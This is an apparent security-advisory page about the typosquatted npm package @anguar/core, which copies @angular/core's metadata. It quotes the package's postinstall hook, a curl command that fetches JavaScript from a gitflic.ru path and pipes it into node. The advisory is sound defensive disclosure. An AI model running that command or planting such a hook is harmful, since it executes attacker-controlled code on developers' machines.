Malicious code in @anguar/core (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (428f991afc1ada001d59a546b8290c039dc16c98f6e497346acd87b8c08034eb) Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a gitflic.ru path under the user `hellscripter` (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs `npm install` will execute arbitrary attacker-controlled code on their machine.

Source published

5 Oct 2026 03:32:55 UTC

Source modified

5 Oct 2026 04:15:06 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.